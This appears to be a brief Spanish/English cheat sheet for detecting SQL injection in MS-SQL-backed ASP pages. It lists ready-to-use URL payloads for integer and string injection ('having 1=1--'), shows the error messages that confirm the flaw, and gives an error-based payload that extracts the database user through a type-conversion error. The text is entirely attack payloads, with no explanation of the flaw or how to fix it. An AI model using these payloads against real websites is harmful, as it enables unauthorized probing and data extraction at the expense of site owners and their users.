DETECCION BASICA DE INYECCION DE CODIGO EN MS-SQL

 MS-SQL INJECTION Basic DETECTION

DETECCION BASICA DE INYECCION DE CODIGO EN MS-SQL



     

Integer Injection:

http://[site]/page.asp?id=1 having 1=1--



Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.



String Injection:

http://[site]/page.asp?id=x' having 1=1--



Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.




ERROR SQL INJECTION - EXTRACT DATABASE USER

       

http://[site]/page.asp?id=1 or 1=convert(int,(USER))--